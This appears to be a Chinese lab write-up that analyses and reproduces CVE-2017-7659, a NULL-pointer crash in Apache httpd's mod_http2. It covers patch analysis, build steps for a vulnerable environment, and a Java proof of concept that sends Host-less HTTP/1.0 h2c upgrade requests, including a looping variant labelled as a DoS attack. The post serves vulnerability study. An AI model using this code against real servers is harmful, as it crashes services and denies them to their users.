摘要:有漏洞的服務(wù)器源碼下載鏈接通過(guò)補(bǔ)丁的修改進(jìn)行漏洞成因的逆向分析。我們編寫了的程序,同時(shí)發(fā)起多個(gè)畸形請(qǐng)求,以不斷觸發(fā)后臺(tái)崩潰,并讓服務(wù)器不斷陷入重新分配的處理之中。
一、實(shí)驗(yàn)原理介紹
apache在其網(wǎng)站發(fā)布的安全公告,針對(duì)CVE-2017-7659漏洞的介紹是這樣的:
A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.
可以看到這是apache WEB服務(wù)器(httpd)中的一個(gè)HTTP 2.0協(xié)議處理的漏洞。
有漏洞的服務(wù)器源碼下載鏈接:https://archive.apache.org/di...
通過(guò)補(bǔ)丁的修改進(jìn)行漏洞成因的逆向分析。首先查看漏洞函數(shù)h2_stream_set_request_rec,發(fā)現(xiàn)是調(diào)用h2_request_rcreat創(chuàng)建http 2.0請(qǐng)求的數(shù)據(jù)結(jié)構(gòu)req,h2_request_rcreat執(zhí)行失敗時(shí)req為空,此時(shí)在日志函數(shù)ap_log_rerror中直接解引用req導(dǎo)致進(jìn)程崩潰:
繼續(xù)查看函數(shù)h2_request_rcreate,看到首先會(huì)把req置為0,然后判斷4個(gè)變量r->method,scheme,r->hostname,path,任何一個(gè)為空則返回失敗,而此時(shí)req還是0,就會(huì)導(dǎo)致進(jìn)程崩潰:
那么這4個(gè)變量是哪一個(gè)為空導(dǎo)致的漏洞呢?scheme是先判斷了是否為空再賦值的,首先排除;path是從r->parsed_uri中解析出來(lái),解析函數(shù)apr_uri_unparse在其它地方有多次使用,直覺path也不會(huì)為空;r->method保存請(qǐng)求的方法字段,在HTTP請(qǐng)求中必須存在,因此也不應(yīng)該為空;因此只有r->hostname,保存請(qǐng)求的主機(jī)名,也就是域名,可能為空。
我們知道,HTTP請(qǐng)求中,有2個(gè)地方可以表示主機(jī)名:
1) 請(qǐng)求的路徑以完整URL方式表示,URL中包含主機(jī)名,例如GET http://www.example.com/ HTTP/1.1,這里主機(jī)名就是 www.example.com。服務(wù)器中是在ap_parse_uri函數(shù)中解析這種主機(jī)名的
2) 在Host請(qǐng)求頭中包含主機(jī)名,例如:
GET / HTTP/1.1
Host: www.example.com
服務(wù)器中是在fix_hostname函數(shù)中解析這種主機(jī)名的分別審計(jì)ap_parse_uri和fix_hostname函數(shù),發(fā)現(xiàn)如果請(qǐng)求中沒有Host頭,那么r->hostname確實(shí)是空。但是服務(wù)器也考慮到了這種情況,在ap_read_request函數(shù)中做了判斷:
這里的判斷邏輯,如果滿足下面2個(gè)條件之一
1) r->hostname為空,且請(qǐng)求的HTTP版本大于等于1.1
2) 沒有Host頭,且請(qǐng)求的HTTP版本等于1.1
就會(huì)立刻回復(fù)400狀態(tài)碼的錯(cuò)誤頁(yè)面,并不會(huì)觸發(fā)后面的漏洞。在注釋里也說(shuō)明了,HTTP/1.1的RFC2616的14.23節(jié)中明確指明,HTTP/1.1請(qǐng)求必須包含Host頭。
但是,HTTP還有1.0版本,且HTTP/1.0和HTTP/1.1的處理流程一樣,雖然HTTP/1.0確實(shí)沒有規(guī)定請(qǐng)求必須包含Host頭。因此HTTP/1.0請(qǐng)求是可以沒有Host頭的,程序會(huì)一直按照流程執(zhí)行,最終執(zhí)行到h2_stream_set_request_rec函數(shù),此時(shí)r->hostname為空,從而觸發(fā)漏洞。
綜合上面的分析,該漏洞利用成功需要如下條件:
1) 服務(wù)器支持HTTP/2二、環(huán)境配置介紹 1)、實(shí)驗(yàn)的環(huán)境CentOS 7,2.4.25版本的Apache Httpd服務(wù)器 2)、Apache的安裝前的準(zhǔn)備工作
2) 請(qǐng)求是HTTP/1.0版本
3) 請(qǐng)求中沒有Host頭
安裝Sqllite # wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz # tar zxf sqlite-autoconf-3080704.tar.gz # cd sqlite-autoconf-3080704 # ./configure --prefix=/usr/local/sqlite-3.8.7.4 # make && make install 安裝apr # wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz # tar zxf apr-1.5.2.tar.gz # cd apr-1.5.2 # ./configure --prefix=/usr/local/apr-1.5.2 # make && make install 安裝apr-util # wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz # tar zxf apr-util-1.5.4.tar.gz # cd apr-util-1.5.4 # ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2 # make && make install 安裝nghttp2 # wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz # tar zxf nghttp2-1.38.0.tar.gz # cd nghttp2-1.38.0 # ./configure --prefix=/usr/local/nghttp2-1.38.0 # make && make install # 最后安裝2.4.25版本的Apache服務(wù)器 # cd /usr/local/src # wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz # cd httpd-2.4.25 # ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4 # make && make install # cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default # ln -s /usr/local/apache-2.4.25/ /usr/local/apache3)、修改配置文件httpd.conf,并測(cè)試Apache是否能運(yùn)行
如果提示說(shuō)沒有mod_http2.so,可以使用下面的命令編譯生成
/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下載的源碼modules文件夾那里執(zhí)行
至此,實(shí)驗(yàn)的環(huán)境已經(jīng)搭建好。
三、實(shí)驗(yàn)過(guò)程詳細(xì)介紹 1. 首先起一個(gè)單一進(jìn)程的apache httpd服務(wù),方便驗(yàn)證進(jìn)程崩潰后的效果訪問瀏覽器: 正常訪問
2、編寫Java程序,發(fā)送惡意請(qǐng)求嘗試發(fā)送漏洞請(qǐng)求過(guò)去,觸發(fā)服務(wù)器的漏洞函數(shù)
public class HttpTest extends Thread{ public void createSocket() { } public void communcate() throws IOException { // 注意這里必須制定請(qǐng)求方式 地址 注意空格 Socket socket = new Socket("192.168.179.112", 8888); OutputStream os = socket.getOutputStream(); InputStream is = socket.getInputStream(); StringBuffer sb = new StringBuffer("GET / HTTP/1.0 "); // 以下為請(qǐng)求頭 sb.append("User-Agent: curl/7.50.1 "); //sb.append("Host: 39.108.122.247 "); sb.append("Accept: */* "); sb.append("Connection: Upgrade, HTTP2-Settings "); sb.append("Upgrade: h2c "); sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA "); //sb.append("Content-Length: 2 "); // 注意這里要換行結(jié)束請(qǐng)求頭 sb.append(" "); System.out.println(sb.toString()); try { os.write(sb.toString().getBytes()); ByteArrayOutputStream baos = new ByteArrayOutputStream(); /*byte[] bytes = new byte[1024]; int len = -1; int i =0 ; while ((len = is.read(bytes)) != -1) { baos.write(bytes, 0, len); } System.out.println(new String(baos.toByteArray())); */ socket.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } @Override public void run() { createSocket(); // Dos攻擊 /*while (true) { try { communcate(); } catch (IOException e) { e.printStackTrace(); } }*/ try { communcate(); } catch (IOException e) { e.printStackTrace(); } } /* GET / HTTP/1.1 Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings:*/ public static void main(String[] args) { // for(int i =0; i<100 ;++i) { HttpTest client = new HttpTest(); client.start(); // } } }
漏洞成功復(fù)現(xiàn):
此時(shí)瀏覽器也訪問不了
3、如果是多進(jìn)程的apache httpd服務(wù)
當(dāng)worker進(jìn)程崩潰時(shí),apache會(huì)自動(dòng)啟動(dòng)新的worker進(jìn)程。那么在真實(shí)的網(wǎng)絡(luò)環(huán)境中,黑客會(huì)如何利用此漏洞對(duì)服務(wù)器進(jìn)行攻擊呢?
修改上面的Java代碼,發(fā)送Dos攻擊
apache 服務(wù)器全部worker進(jìn)程都崩潰了!
這個(gè)實(shí)驗(yàn)的難點(diǎn)是分析漏洞的發(fā)生原因、實(shí)驗(yàn)環(huán)境的配置。首先,在linux上安裝Apache Http 2.4.25這個(gè)版本的服務(wù)器,參考網(wǎng)上的一些教程安裝,發(fā)現(xiàn)過(guò)程是不全的,只能靠自己去根據(jù)控制臺(tái)打印的錯(cuò)誤日志去找原因,為了讓Apache服務(wù)器支持Http2.0,mod_http2.so這個(gè)module一直報(bào)錯(cuò),后來(lái)安裝配置了nghttp2重新編譯才能成功開啟服務(wù)器。安裝好實(shí)驗(yàn)環(huán)境后,寫了一段Java程序去驗(yàn)證,發(fā)送Http1.0的請(qǐng)求并且不帶Host消息頭,一開始創(chuàng)建了1000個(gè)線程發(fā)送1000個(gè)“惡意請(qǐng)求”,發(fā)現(xiàn)Apache服務(wù)器并沒有宕機(jī),百思不得其解,調(diào)了一個(gè)下午都沒有成功,在隊(duì)友的電腦也是這樣的問題。之后不斷地查閱資料,并且嘗試去看源碼,發(fā)現(xiàn)需要在配置文件里面設(shè)置日志級(jí)別為debug才會(huì)觸發(fā)漏洞,默認(rèn)是info級(jí)別,這點(diǎn)在官網(wǎng)上并沒有描述,這個(gè)服務(wù)器如果是沒有設(shè)置為debug級(jí)別是不會(huì)執(zhí)行漏洞函數(shù)的,解決了這個(gè)大坑之后,服務(wù)器終于崩潰(出現(xiàn)了Segmentation fault這個(gè)段異常,即內(nèi)部有空指針異常),但是Apache有保護(hù)機(jī)制,當(dāng)worker進(jìn)程崩潰時(shí),apache會(huì)自動(dòng)啟動(dòng)新的worker進(jìn)程。我們編寫了的程序,同時(shí)發(fā)起多個(gè)畸形請(qǐng)求,以不斷觸發(fā)后臺(tái)worker崩潰,并讓apache服務(wù)器不斷陷入重新分配worker的處理之中?;诼┒窗l(fā)生的場(chǎng)景可以得出,解決這個(gè)漏洞的關(guān)鍵是就是增加了對(duì)h2_request_rcreate函數(shù)返回值的判斷即可。
參考鏈接:https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://www.ezyhdfw.cn/yun/36019.html
摘要:摘要今年的先知白帽大會(huì),與會(huì)者將能夠親身感受到非常多有趣的技術(shù)議題,如在國(guó)際賽事中屢奪佳績(jī)的團(tuán)隊(duì),其隊(duì)長(zhǎng)將親臨現(xiàn)場(chǎng),分享穿針引線般的漏洞利用藝術(shù)。從數(shù)據(jù)視角探索安全威脅阿里云安全工程師議題解讀本議題討論了數(shù)據(jù)為安全人員思維方式帶來(lái)的變化。 摘要: 今年的先知白帽大會(huì),與會(huì)者將能夠親身感受到非常多有趣的技術(shù)議題,如HITCON在國(guó)際賽事中屢奪佳績(jī)的CTF團(tuán)隊(duì),其隊(duì)長(zhǎng)Orange將親臨現(xiàn)場(chǎng)...
摘要:進(jìn)攻即是最好的防御個(gè)練習(xí)黑客技術(shù)的在線網(wǎng)站進(jìn)攻即是最好的防御,這句話同樣適用于信息安全的世界。社區(qū)有接近萬(wàn)的注冊(cè)會(huì)員也是最大的一個(gè)黑客社區(qū)之一。 進(jìn)攻即是最好的防御!19個(gè)練習(xí)黑客技術(shù)的在線網(wǎng)站 進(jìn)攻即是最好的防御,這句話同樣適用于信息安全的世界。這里羅列了19個(gè)合法的來(lái)練習(xí)黑客技術(shù)的網(wǎng)站,不管你是一名開發(fā)人員、安全工程師、代碼審計(jì)師、滲透測(cè)試人員,通過(guò)不斷的練習(xí)才能讓你成為一個(gè)優(yōu)秀安...
摘要:安全之漏洞分析安全之漏洞分析前言前言看到個(gè)別代碼常出現(xiàn)里面有一些組件,沒去仔細(xì)研究過(guò)該漏洞。文件寫入成功重新打開文件發(fā)現(xiàn)內(nèi)容已經(jīng)發(fā)生了變化整理整理請(qǐng)求請(qǐng)求調(diào)用該方式寫文件需要解析,遇到就涼涼。至此再一次佩服漏洞挖掘者。Java安全之Axis漏洞分析0x00 前言看到個(gè)別代碼常出現(xiàn)里面有一些Axis組件,沒去仔細(xì)研究過(guò)該漏洞。研究記錄一下。0x01 漏洞復(fù)現(xiàn)漏洞版本:axis=]]> ...
閱讀 999·2023-04-26 02:16
閱讀 1275·2019-08-30 15:55
閱讀 2839·2019-08-30 15:53
閱讀 3441·2019-08-29 15:38
閱讀 2958·2019-08-29 13:42
閱讀 2038·2019-08-26 13:34
閱讀 1911·2019-08-26 10:10
閱讀 3129·2019-08-23 14:40